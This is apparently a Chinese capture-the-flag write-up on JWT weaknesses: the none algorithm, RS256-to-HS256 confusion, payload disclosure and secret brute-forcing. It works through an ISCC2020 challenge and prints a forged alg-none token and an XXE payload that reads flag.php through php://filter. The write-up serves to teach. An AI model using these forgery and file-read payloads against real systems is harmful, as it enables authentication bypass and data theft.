关于JWT的赛题

前言:

关于JWT的赛题之前确实是没有接触过,一开始遇到也多少有点懵,静下心来总结些这类的赛题!

0x00:JWT简介

JWT(JSON Web Token) 是一个非常轻巧的规范,通过这个规范,可以传递可靠的安全信息,JWT常被用于前后端分离,可以和Restful API配合使用,常用于构建身份认证机制。

JWT的数据格式分为三个部分: headers , payloads,signature(签名),它们使用.点号分割

头部(Header)用于描述JWT的最基本的信息
{ “typ”:JWT, 
  “alg”:HS256}
#base64 编码之后,形成头部

载荷(Payload)也是json形式,如:
{
  "sub": "1234567890",
  "name": "John Doe",
  "iat": 1516239022
}
签名:
将上面的两个编码后的字符串用.连接在一起 
提供一个密钥(secret)用头部所规定的算法加密就可以形成一个新的字符串同样
需要base64编码,以上将三个部分用 .拼接在一起,就形成了一个完整的JWT令牌

验证

1.首先服务端会产生一个key,然后以这个key作为密钥,使用第一部分选择的加密方式,对第一部分和第二部分拼接的结果进行加密,然后把加密结果放到第三部分。
2.服务器每次收到信息都会对它的前两部分进行加密,然后比对加密后的结果是否跟客户端传送过来的第三部分相同,如果相同则验证通过,否则失败。

0x01:JWT的安全问题

绕过这种验证机制

  1. 修改算法为none

后端若支持none算法,header中的alg字段可被修改为none,去掉JWT中的signature数据(仅剩header + .+ payload + .) 然后直接提交到服务端去。

  1. 修改算法RS256为HS256

RS256是非对称加密算法,HS是对称加密算法,如果JWT内部的函数支持的RS256算法,同时又支持HS256算法,而且如果已知公钥的话,将算法改成HS256,那么后端就会用这个公钥当作密钥来加密

  1. 信息泄露

JWT是以base64编码传输的,虽然密钥不可见,但是其数据记本上是明文传输的,如果传输了重要的内容,可以base64解码然后获取其重要的信息。

  1. 爆破密钥

如果密钥比较短的话,已知加密算法,通过暴力破解的方式,可以得到其密钥。

工具:
jwt.io
JWT Tool

ISCC2020-未知的风险

题目描述:
在这里插入图片描述
抓包发现有一个token,base64解码发现是JWT
关于JWT的赛题_第1张图片
使用这个网站来更改其中的数据,题目提示说是只有user可以进入,那就更改下id
https://jwt.io/
关于JWT的赛题_第2张图片
但这里我怎么都找不都key值,只能通过爆破来试试
关于JWT的赛题_第3张图片
但这个太长了,爆破时间太长,就不爆破了,换另外一种思路,看了一些师傅们关于这方面的博客,写的有低版本的JWT,密钥也可以直接设为none,来进行伪造,可以尝试一下:
关于JWT的赛题_第4张图片
先改下id把紫色的部分复制下来,然后在将头部的格式进行base64加密,进行拼接

ewogICJhbGciOiAibm9uZSIsCiAgInR5cCI6ICJKV1QiCn0=.eyJpZCI6InVzZXIiLCJpYXQiOjE1ODg4NTQwNDcsImp0aSI6IjIzOThmODY5N2Y5YTJjZDliZDBjYTQwOTcwOWVkN2FlIn0.

关于JWT的赛题_第5张图片
显示了这个说明绕过去了,包发送去发现是个登陆
在这里插入图片描述
这个格式一看就是XML注入
关于JWT的赛题_第6张图片
payload:

<?xml version="1.0"?>
<!DOCTYPE hack [
<!ENTITY test SYSTEM  "php://filter/read=convert.base64-encode/resource=flag.php">
]>
<user>
  <username>&test;</username>
  <password>hack</password>
</user>

关于JWT的赛题_第7张图片
解码即可

待遇到新的再进行补充!

你可能感兴趣的:(web)